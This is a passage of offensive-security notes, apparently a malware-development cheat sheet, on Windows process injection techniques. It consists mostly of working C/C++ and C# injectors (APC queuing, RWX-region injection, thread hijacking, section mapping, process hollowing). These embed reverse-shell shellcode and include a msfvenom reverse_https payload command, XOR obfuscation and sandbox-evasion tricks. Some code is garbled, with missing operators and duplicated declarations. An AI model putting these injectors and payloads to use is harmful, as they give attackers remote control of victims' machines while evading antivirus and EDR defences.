9\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5"; myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert")); SIZE_T shellSize = sizeof(buf); LPVOID shellAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(GetCurrentProcess(), shellAddress, buf, shellSize, NULL); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE) shellAddress; QueueUserAPC((PAPCFUNC) apcRoutine, GetCurrentThread(), NULL); testAlert(); return 0; }
-
Memory Buffer Enumearation [NoVirtualAlloc]
#include "pch.h"#include <iostream> #include <Windows.h> #include <TlHelp32.h> //Enumerating MemRegions//https://www.ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions int main() { MEMORY_BASIC_INFORMATION mbi = {}; LPVOID offset = 0; HANDLE process = NULL; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); DWORD bytesWritten = 0; unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5"; Process32First(snapshot, &processEntry); while (Process32Next(snapshot, &processEntry)) { process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID); if (process) { std::wcout << processEntry.szExeFile << "\n"; while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi))) { offset = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize); if (mbi.AllocationProtect PAGE_EXECUTE_READWRITE && mbi.State MEM_COMMIT && mbi.Type MEM_PRIVATE) { std::cout << "\tRWX: 0x" << std::hex << mbi.BaseAddress << "\n"; WriteProcessMemory(process, mbi.BaseAddress, shellcode, sizeof(shellcode), NULL); CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE) mbi.BaseAddress, NULL, NULL, NULL); } } offset = 0; } CloseHandle(process); } return 0; }
-
NT-APIs Instead of Windowns APIs
-
WriteShellCode : NtCreateSection , NtAllocateVirtualMemory ,
-
Moving : NtWriteVirtualMemory , NtMapViewOfSection , memcpy
-
Execution NtOpenProcess , RtlCreateUserThread , NtCreateThreadEX , NtQueueUserAPC , NtQueueUserAPC
-
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
// Define the NtAllocateVirtualMemory function pointer
typedef NTSTATUS(WINAPI* PNTALLOCATEVIRTUALMEMORY)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
// Define the NtFreeVirtualMemory function pointer
typedef NTSTATUS(WINAPI* PNTFREEVIRTUALMEMORY)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG FreeType
);
int main() {
// Insert Meterpreter shellcode
unsigned char code[] = "\xa6\x12\xd9...";
// Load the NtAllocateVirtualMemory function from ntdll.dll
PNTALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory =
(PNTALLOCATEVIRTUALMEMORY)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
// Allocate Virtual Memory
void* exec = NULL;
SIZE_T size = sizeof(code);
NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &exec, 0, &size, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
// Copy shellcode into allocated memory
RtlCopyMemory(exec, code, sizeof code);
// Execute shellcode in memory
((void(*)())exec)();
// Free the allocated memory using NtFreeVirtualMemory
PNTFREEVIRTUALMEMORY NtFreeVirtualMemory =
(PNTFREEVIRTUALMEMORY)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtFreeVirtualMemory");
SIZE_T regionSize = 0;
status = NtFreeVirtualMemory(GetCurrentProcess(), &exec, ®ionSize, MEM_RELEASE);
return 0;
}
Process Techniques
-
Managd Dll (.net) Classic Injection
-
PE Mandeas
-
API hooking
-
Process Hollowing C/C#
-
Thread Hijacking C/[C#]
-
Section Mapping
-
D/Invoke
-
Create Thread
-
Section Mapping
-
Helpful Projects
-
Process Hollowing
- https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations
- ProcessHollow
- https://github.com/m0n0ph1/Process-Hollowing
- https://ppn.snovvcrash.rocks/red-team/maldev/code-injection/process-hollowing
- https://gist.github.com/gnh1201/6a3836468c898f7ad3a3656e6f24dce3
- https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Shellcode%20Process%20Hollowing/Program.cs
- https://github.com/S3cur3Th1sSh1t/Creds/blob/master/Csharp/DinvokeProcessHollow.cs
- Process Hollowing Create Process 1-Allocate Virtual Memory Space for it 2-TEB [Thread Env Block] 3-PEB [Process Env Block] 4-Calling nedded Dlls 5-Create Thread For The Entrypoint 6-Start Execution svchost.exe (7228), DESKTOP-G9P4T83.192.168.1.1, 2188, 20.199.120.85, 443, TCP, Established, WpnService
-
DLL Injection
- Classic Dll Injection
- C# https://github.com/crypt0ace/CS-DLL-Injection https://github.com/usertoroot/DllInjectorCS https://github.com/RisuSofos/InjectionTool https://github.com/TimothyJClark/SharpInjector https://github.com/over40development/BasicInjector (Manual Mapping) https://github.com/achachi/Simple-Injector (LoadLibrary - Manual Mapping - Thread Hijacking)
- PS https://github.com/ColeHouston/Powershell-DLL-Injection
- C++ https://github.com/raspberrydev/Inject https://github.com/phr34k0/DLL-Injection https://github.com/Sh3lldor/dll-injection (QueueUserAPC) https://github.com/christopher-pisz-fivestars/WinHooksDllInjection (WinHook) https://github.com/0000000O0Oo/DLLInjection (CreateRemoteThread - NTCreateThreadEx - QueueUserAPC) https://github.com/cocomelonc/2021-09-24-injection-2 https://github.com/1captainnemo1/dllinject https://github.com/Sh3lldor/Code-Cave https://github.com/LouisTheXIV/DLL-Injection-Cpp https://github.com/jjuiddong/DLL-Injection https://github.com/SuperNov4d/Dll-njection https://github.com/Levon-Volodin/Dll_inject
- DllHihacking
- Dll Side Loading
- Reflective Dll Injection
Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory(Not Disk) into a host process
This means a self-developed PE (Portal Executable) file loader is responsible for loading the library in the target process’ memory in the correct format for execution this Technique is largely undetectable at both a system and process level. However next-generation AV and EDR solutions with visibility in process memory and API hooks will likely still cause issues This Done By ReflectiveSelfLoader Function which is [position independet (Execute it Self in mem)]
-
Resolve
LoadLbraryA
|VirtualAlloc
|GetProcAddress
WinAPIs From their Dlls -
Allocate Continious Memory Region To Contain the Dll Bytes as - Headers- Sections
-
Do Manual Dll memory Handeling - Process New Loaded Copy of Image’s IT (ImportTable[Function Addresses Table]) to > Load Additional Libraries to Get Addresses of their Functions - Process New Loaded Copy of Image’s Reallocation Table
-
Call Loaded in memory Dll’s EntryPoint (DllMain) with
DLL_PROCESS_ATTACH
through its pointer 5. Return DllMain Execution
- Latest Techniques
- Convert Dll To ShellCode + Reflective ShellCodeInjection [sRDI]
- Inject with C++ / C# Managed DLLs [.Net Dlls ] and Try To Reflect it
- Refrences
- CSharp Reflective DLL Process Injection
- CPP Reflective DLL Process Injection
-
- Classic Dll Injection
-
Thread Hijacking
- https://github.com/S3cur3Th1sSh1t/Creds/blob/master/Csharp/SuspendedThread_bypass_memory_scan.cs
- Thread Hijacking
- https://github.com/S3cur3Th1sSh1t/Creds/blob/master/Csharp/SuspendedThread_bypass_memory_scan.cs
#include <iostream> #include <Windows.h> #include <TlHelp32.h> int main() { unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00" "\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54" "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c" "\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff" "\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2" "\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48" "\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99" "\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63" "\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57" "\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44" "\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6" "\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff" "\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5" "\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48" "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13" "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; HANDLE targetProcessHandle; PVOID remoteBuffer; HANDLE threadHijacked = NULL; HANDLE snapshot; THREADENTRY32 threadEntry; CONTEXT context; DWORD targetPID = 15048; context.ContextFlags = CONTEXT_FULL; threadEntry.dwSize = sizeof(THREADENTRY32); targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID); remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof shellcode, NULL); snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); Thread32First(snapshot, &threadEntry); while (Thread32Next(snapshot, &threadEntry)) { if (threadEntry.th32OwnerProcessID targetPID) { threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID); break; } } SuspendThread(threadHijacked); GetThreadContext(threadHijacked, &context); context.Rip = (DWORD_PTR)remoteBuffer; SetThreadContext(threadHijacked, &context); ResumeThread(threadHijacked); }
-
Process Mockingjay
#include "pch.h"#include <iostream> #include <Windows.h> #include <TlHelp32.h> //Enumerating MemRegions//https://www.ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions int main() { MEMORY_BASIC_INFORMATION mbi = {}; LPVOID offset = 0; HANDLE process = NULL; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); DWORD bytesWritten = 0; unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5"; Process32First(snapshot, &processEntry); while (Process32Next(snapshot, &processEntry)) { process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID); if (process) { std::wcout << processEntry.szExeFile << "\n"; while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi))) { offset = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize); if (mbi.AllocationProtect PAGE_EXECUTE_READWRITE && mbi.State MEM_COMMIT && mbi.Type MEM_PRIVATE) { std::cout << "\tRWX: 0x" << std::hex << mbi.BaseAddress << "\n"; WriteProcessMemory(process, mbi.BaseAddress, shellcode, sizeof(shellcode), NULL); CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE) mbi.BaseAddress, NULL, NULL, NULL); } } offset = 0; } CloseHandle(process); } return 0; }
-
Process Goasting
-
Transact Hollowing
-
Process Herpaderping
-
APC Injection
-
Process doppelganging
-
Module Stomping
-
PE Injection
-
PPID_Spoofing
-
Section Mapping
- https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/Sections%20Shellcode%20Process%20Injector
- https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection
- https://github.com/antonioCoco/Mapping-Injection
using System; using System.Linq; using System.Diagnostics; using System.Runtime.InteropServices; namespace NtProcessInjector { public class Program { public const uint PROCESS_ALL_ACCESS = 0x001F0FFF; public const uint SECTION_MAP_READ = 0x0004; public const uint SECTION_MAP_WRITE = 0x0002; public const uint SECTION_MAP_EXECUTE = 0x0008; public const uint PAGE_READ_WRITE = 0x04; public const uint PAGE_READ_EXECUTE = 0x20; public const uint PAGE_EXECUTE_READWRITE = 0x40; public const uint SEC_COMMIT = 0x8000000; [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); [DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)] static extern UInt32 NtCreateSection(ref IntPtr SectionHandle, UInt32 DesiredAccess, IntPtr ObjectAttributes, ref UInt32 MaximumSize, UInt32 SectionPageProtection, UInt32 AllocationAttributes, IntPtr FileHandle); [DllImport("ntdll.dll", SetLastError = true)] static extern uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, UIntPtr ZeroBits, UIntPtr CommitSize, out ulong SectionOffset, out uint ViewSize, uint InheritDisposition, uint AllocationType, uint Win32Protect); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); [DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)] static extern UInt32 NtCreateSection(ref IntPtr SectionHandle, UInt32 DesiredAccess, IntPtr ObjectAttributes, ref UInt32 MaximumSize, UInt32 SectionPageProtection, UInt32 AllocationAttributes, IntPtr FileHandle); [DllImport("ntdll.dll", SetLastError = true)] static extern uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, UIntPtr ZeroBits, UIntPtr CommitSize, out ulong SectionOffset, out uint ViewSize, uint InheritDisposition, uint AllocationType, uint Win32Protect); [DllImport("ntdll.dll", SetLastError = true)] static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr); [DllImport("ntdll.dll", SetLastError = true)] static extern IntPtr RtlCreateUserThread(IntPtr processHandle, IntPtr threadSecurity, bool createSuspended, Int32 stackZeroBits, IntPtr stackReserved, IntPtr stackCommit, IntPtr startAddress, IntPtr parameter, ref IntPtr threadHandle, IntPtr clientId); [DllImport("ntdll.dll", ExactSpelling = true, SetLastError = false)] static extern int NtClose(IntPtr hObject); [DllImport("kernel32.dll")] static extern void Sleep(uint dwMilliseconds); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred); [DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess(); // BEGIN DEBUG (imports) [DllImport("kernel32.dll", SetLastError = true)] static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] static extern int memcmp(byte[] b1, byte[] b2, UIntPtr count); static bool CompareByteArray(byte[] b1, byte[] b2) { return b1.Length b2.Length && memcmp(b1, b2, (UIntPtr) b1.Length) 0; } // END DEBUG static void Main(string[] args) { // Check if we're in a sandbox by calling a rare-emulated API if (VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0) IntPtr.Zero) { return; } // Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sleep instruction var rand = new Random(); uint dream = (uint) rand.Next(10000, 20000); double delta = dream / 1000 - 0.5; DateTime before = DateTime.Now; Sleep(dream); if (DateTime.Now.Subtract(before).TotalSeconds < delta) { Console.WriteLine("Charles, get the rifle out. We're being fucked."); return; } // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key a byte[] buf = new byte[ ?? ? ] { 0x31, 0x33, ..., 0x33, 0x37 }; // XOR-decrypt the shellcode for (int i = 0; i < buf.Length; i++) { buf[i] = (byte)(buf[i] ^ (byte) 'a'); } int bufLength = buf.Length; UInt32 uBufLength = (UInt32) bufLength; // Get handle on a local process IntPtr hLocalProcess = Process.GetCurrentProcess().Handle; // Get handle on a remote process (by name) string processName = args[0]; Process[] pList = Process.GetProcessesByName(processName); if (pList.Length 0) { Console.WriteLine("[-] No such process"); return; } int processId = pList.First().Id; IntPtr hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, processId); if (hRemoteProcess IntPtr.Zero) { Console.WriteLine("[-] Failed to open remote process"); return; } // Create RWX memory section for the shellcode IntPtr hSection = new IntPtr(); if (NtCreateSection(ref hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, IntPtr.Zero, ref uBufLength, PAGE_EXECUTE_READWRITE, SEC_COMMIT, IntPtr.Zero) != 0) { Console.WriteLine("[-] Falied to create a section for the shellcode"); return; } // Map the view of created section into the LOCAL process's virtual address space (as R-W) IntPtr baseAddressL = new IntPtr(); ulong sectionOffsetL = new ulong(); if (NtMapViewOfSection(hSection, hLocalProcess, ref baseAddressL, UIntPtr.Zero, UIntPtr.Zero, out sectionOffsetL, out uBufLength, 2, 0, PAGE_READ_WRITE) != 0) { Console.WriteLine("[-] Falied to map the view into local process's space"); return; } // Map the view of (the same) created section into the REMOTE process's virtual address space (as R-E) IntPtr baseAddressR = new IntPtr(); ulong sectionOffsetR = new ulong(); if (NtMapViewOfSection(hSection, hRemoteProcess, ref baseAddressR, UIntPtr.Zero, UIntPtr.Zero, out sectionOffsetR, out uBufLength, 2, 0, PAGE_READ_EXECUTE) != 0) { Console.WriteLine("[-] Falied to map the view into remote process's space"); return; } // Copy the shellcode into the locally mapped view which will be reflected on the remotely mapped view Marshal.Copy(buf, 0, baseAddressL, bufLength); // BEGIN DEBUG (check if the shellcode was copied correctly) byte[] remoteMemory = new byte[bufLength]; IntPtr bytesRead = new IntPtr(); ReadProcessMemory(hRemoteProcess, baseAddressR, remoteMemory, remoteMemory.Length, out bytesRead); if (!CompareByteArray(buf, remoteMemory)) { Console.WriteLine("[-] DEBUG: Shellcode bytes read from remotely mapped view do not match with local buf"); return; } // END DEBUG // Execute the shellcode in a remote thread (also can be done with CreateRemoteThread) //CreateRemoteThread(hRemoteProcess, IntPtr.Zero, 0, baseAddressR, IntPtr.Zero, 0, IntPtr.Zero) IntPtr threadHandle = new IntPtr(); if (RtlCreateUserThread(hRemoteProcess, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr.Zero, baseAddressR, IntPtr.Zero, ref threadHandle, IntPtr.Zero) != IntPtr.Zero) { Console.WriteLine("[-] Failed to create a remote thread"); return; } Console.WriteLine($"[+] Successfully injected shellcode into remote process ({processName}, {processId})"); // Clean up NtUnmapViewOfSection(hLocalProcess, baseAddressL); NtClose(hSection); } }}
- CLR Hijacking
- CLR Injection
-
Process Hollower In Csharp
//Process Hollower In Csharp using System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServices; using System.Threading; using System.Text; using System.Threading.Tasks; namespace hollow { class Program { [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] internal struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)] static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); private struct PROCESS_BASIC_INFORMATION { public IntPtr ExitStatus; public IntPtr PebBaseAddress; public UIntPtr AffinityMask; public int BasePriority; public UIntPtr UniqueProcessId; public UIntPtr InheritedFromUniqueProcessId; } [DllImport("ntdll.dll", SetLastError = true)] static extern UInt32 ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, UInt32 ProcInfoLen, ref UInt32 retlen); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesRead); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool 